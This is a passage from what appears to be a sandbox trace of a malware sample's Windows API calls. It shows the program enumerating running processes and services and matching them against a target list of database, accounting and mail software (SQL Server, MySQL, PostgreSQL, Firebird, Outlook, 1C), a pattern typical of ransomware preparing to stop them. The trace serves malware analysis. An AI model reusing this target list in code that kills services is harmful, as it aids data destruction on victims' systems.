(lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0160.431] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0160.431] lstrlenW (lpString="wininit.exe") returned 11 [0160.431] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0160.431] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0160.431] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0160.431] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0160.431] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0160.431] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0160.431] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0160.431] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.432] lstrlenW (lpString="csrss.exe") returned 9 [0160.432] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0160.432] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0160.432] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0160.432] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0160.432] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0160.432] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0160.432] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0160.432] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0160.432] lstrlenW (lpString="winlogon.exe") returned 12 [0160.432] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0160.432] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0160.432] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0160.432] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0160.432] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0160.433] lstrlenW (lpString="services.exe") returned 12 [0160.433] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0160.433] lstrlenW (lpString="lsass.exe") returned 9 [0160.433] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0160.433] lstrlenW (lpString="lsm.exe") returned 7 [0160.433] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.434] lstrlenW (lpString="svchost.exe") returned 11 [0160.434] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.434] lstrlenW (lpString="svchost.exe") returned 11 [0160.434] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.434] lstrlenW (lpString="svchost.exe") returned 11 [0160.434] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.435] lstrlenW (lpString="svchost.exe") returned 11 [0160.435] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.435] lstrlenW (lpString="svchost.exe") returned 11 [0160.435] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0160.435] lstrlenW (lpString="audiodg.exe") returned 11 [0160.435] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.436] lstrlenW (lpString="svchost.exe") returned 11 [0160.436] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0160.436] lstrlenW (lpString="explorer.exe") returned 12 [0160.436] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0160.436] lstrlenW (lpString="dwm.exe") returned 7 [0160.436] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.437] lstrlenW (lpString="svchost.exe") returned 11 [0160.437] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0160.437] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0160.437] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0160.437] lstrlenW (lpString="spoolsv.exe") returned 11 [0160.437] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0160.438] lstrlenW (lpString="reader_sl.exe") returned 13 [0160.438] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.438] lstrlenW (lpString="svchost.exe") returned 11 [0160.438] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0160.438] lstrlenW (lpString="taskhost.exe") returned 12 [0160.438] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0160.439] lstrlenW (lpString="dllhost.exe") returned 11 [0160.439] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0160.439] lstrlenW (lpString="taskhost.exe") returned 12 [0160.439] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0160.439] CloseHandle (hObject=0x384) returned 1 [0160.439] Sleep (dwMilliseconds=0x1f4) [0161.260] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293dd0 [0161.261] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0161.261] GetLastError () returned 0xea [0161.261] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x113e) returned 0x4285088 [0161.261] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4285088, cbBufSize=0x113e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4285088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0161.262] CloseServiceHandle (hSCObject=0x4293dd0) returned 1 [0161.263] lstrlenW (lpString="Appinfo") returned 7 [0161.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0161.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0161.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0161.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0161.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0161.263] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0161.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.263] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0161.263] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0161.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0161.263] lstrlenW (lpString="AudioSrv") returned 8 [0161.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0161.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0161.263] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0161.263] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0161.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0161.263] lstrlenW (lpString="BFE") returned 3 [0161.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0161.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0161.263] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0161.263] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0161.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0161.263] lstrlenW (lpString="CryptSvc") returned 8 [0161.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0161.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0161.264] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0161.264] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0161.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0161.264] lstrlenW (lpString="CscService") returned 10 [0161.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0161.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0161.264] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0161.264] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0161.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0161.264] lstrlenW (lpString="DcomLaunch") returned 10 [0161.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.264] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0161.264] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0161.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0161.264] lstrlenW (lpString="Dhcp") returned 4 [0161.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0161.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0161.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0161.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0161.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0161.264] lstrlenW (lpString="Dnscache") returned 8 [0161.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0161.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0161.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0161.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0161.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0161.265] lstrlenW (lpString="DPS") returned 3 [0161.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0161.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0161.265] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0161.265] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0161.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0161.265] lstrlenW (lpString="eventlog") returned 8 [0161.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0161.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0161.265] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0161.265] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0161.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0161.265] lstrlenW (lpString="EventSystem") returned 11 [0161.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0161.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0161.265] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0161.265] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0161.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0161.265] lstrlenW (lpString="gpsvc") returned 5 [0161.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0161.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0161.265] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0161.265] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0161.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0161.266] lstrlenW (lpString="iphlpsvc") returned 8 [0161.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.266] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0161.266] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0161.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0161.266] lstrlenW (lpString="LanmanServer") returned 12 [0161.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0161.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0161.266] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0161.266] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0161.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0161.266] lstrlenW (lpString="LanmanWorkstation") returned 17 [0161.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.266] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0161.266] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0161.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0161.266] lstrlenW (lpString="lmhosts") returned 7 [0161.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0161.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0161.266] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0161.266] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0161.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0161.267] lstrlenW (lpString="MMCSS") returned 5 [0161.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0161.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0161.267] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0161.267] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0161.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0161.267] lstrlenW (lpString="MpsSvc") returned 6 [0161.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0161.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0161.267] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0161.267] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0161.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0161.267] lstrlenW (lpString="Netman") returned 6 [0161.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0161.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0161.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0161.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0161.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0161.267] lstrlenW (lpString="netprofm") returned 8 [0161.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0161.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0161.267] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0161.267] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0161.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0161.268] lstrlenW (lpString="NlaSvc") returned 6 [0161.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0161.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0161.268] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0161.268] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0161.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0161.268] lstrlenW (lpString="nsi") returned 3 [0161.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0161.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0161.268] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0161.268] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0161.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0161.268] lstrlenW (lpString="PcaSvc") returned 6 [0161.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0161.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0161.269] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0161.269] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0161.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0161.269] lstrlenW (lpString="PlugPlay") returned 8 [0161.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0161.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0161.269] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0161.269] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0161.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0161.269] lstrlenW (lpString="Power") returned 5 [0161.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0161.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0161.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0161.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0161.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0161.269] lstrlenW (lpString="ProfSvc") returned 7 [0161.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0161.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0161.269] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0161.269] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0161.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0161.269] lstrlenW (lpString="RpcEptMapper") returned 12 [0161.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.270] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0161.270] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0161.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0161.270] lstrlenW (lpString="RpcSs") returned 5 [0161.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0161.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0161.270] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0161.270] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0161.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0161.270] lstrlenW (lpString="SamSs") returned 5 [0161.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0161.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0161.270] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0161.270] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0161.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0161.270] lstrlenW (lpString="Schedule") returned 8 [0161.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0161.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0161.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0161.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0161.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0161.270] lstrlenW (lpString="SENS") returned 4 [0161.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0161.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0161.271] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0161.271] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0161.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0161.271] lstrlenW 